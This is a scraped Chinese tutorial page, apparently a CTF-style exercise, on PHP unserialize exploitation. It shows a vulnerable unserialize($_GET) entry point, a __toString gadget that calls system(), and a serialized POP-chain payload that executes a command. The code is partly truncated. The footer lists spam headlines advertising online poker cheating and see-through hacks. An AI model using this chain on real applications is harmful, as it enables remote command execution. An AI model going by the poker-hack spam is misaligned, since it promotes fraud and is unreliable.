【web】-反序列化-to_string
创始人
2024-12-28 06:04:56
0次 
s;     }      } class B{     public $cmd;     public function __toString()     {         system($this->cmd);         return 1;     } } unserialize($_GET['code']);

__toString()当对象被当着字符串执行的时候，自动执行

起点："hello".$this->s;

终点：system($this->cmd);

跳板："hello".$this->s;

s;     }      } class B{     public $cmd;     public function __toString()     {         system($this->cmd);         return "1";     } }   $a = new A(); $b = new B(); $b->cmd='dir'; $a->s=$b;  echo serialize($a); ?>   O:1:"A":1:{s:1:"s";O:1:"B":1:{s:3:"cmd";s:3:"dir";}}

执行结果如下：

上一篇：EasyAnimate-v3版本支持I2V及超长视频生成

下一篇：STM32全栈嵌入式人脸识别考勤系统：融合OpenCV、Qt和SQLite的解决方案

相关内容

热门资讯

黑科技玄学!wepoke软件透... 黑科技玄学!wepoke软件透明挂存在吗(黑科技ai)太坑了存在有挂(科技教程黑科技介绍)-哔哩哔哩...
黑科技存在(微扑克有假吗)外挂... 黑科技存在(微扑克有假吗)外挂透视辅助器(透视)确实真的有挂(黑科技工具)-哔哩哔哩；1、许多玩家不...
黑科技app"微扑克... 黑科技app"微扑克俱乐部机器人"wepoke用模拟器(好像真的是有挂)-哔哩哔哩微扑克俱乐部机器人...
黑科技插件!微扑克ai机器人打... 黑科技插件!微扑克ai机器人打德州(黑科技)太坑了是真的有挂(教你教程黑科技教程)-哔哩哔哩；微扑克...
黑科技好友房(wpk透视辅助测... 黑科技好友房(wpk透视辅助测试)外挂透视辅助挂(透视)本来是有挂(黑科技工具)-哔哩哔哩；1、操作...
黑科技辅助"wpk透... 黑科技辅助"wpk透视辅助"wpk透视辅助封号吗(原来真的有挂)-哔哩哔哩；1、点击下载安装，wpk...
黑科技透明!wpk发牌算法(a... 黑科技透明!wpk发牌算法(ai代打)太坑了有挂(wpk教程黑科技介绍)-哔哩哔哩在进入wpk发牌算...
黑科技存在(德扑数据软件)外挂... 黑科技存在(德扑数据软件)外挂透视辅助安装(透视)本来是真的有挂(黑科技工具)-哔哩哔哩德扑数据软件...
黑科技插件"wepo... 黑科技插件"wepoke透明好友局"来玩app德州扑克(一贯是有挂)-哔哩哔哩小薇（透视辅助）致您一...
黑科技总结!wepoke软件透... 黑科技总结!wepoke软件透明下载渠道(透视)太坑了真的有挂(细节揭秘黑科技规律)-哔哩哔哩1、不...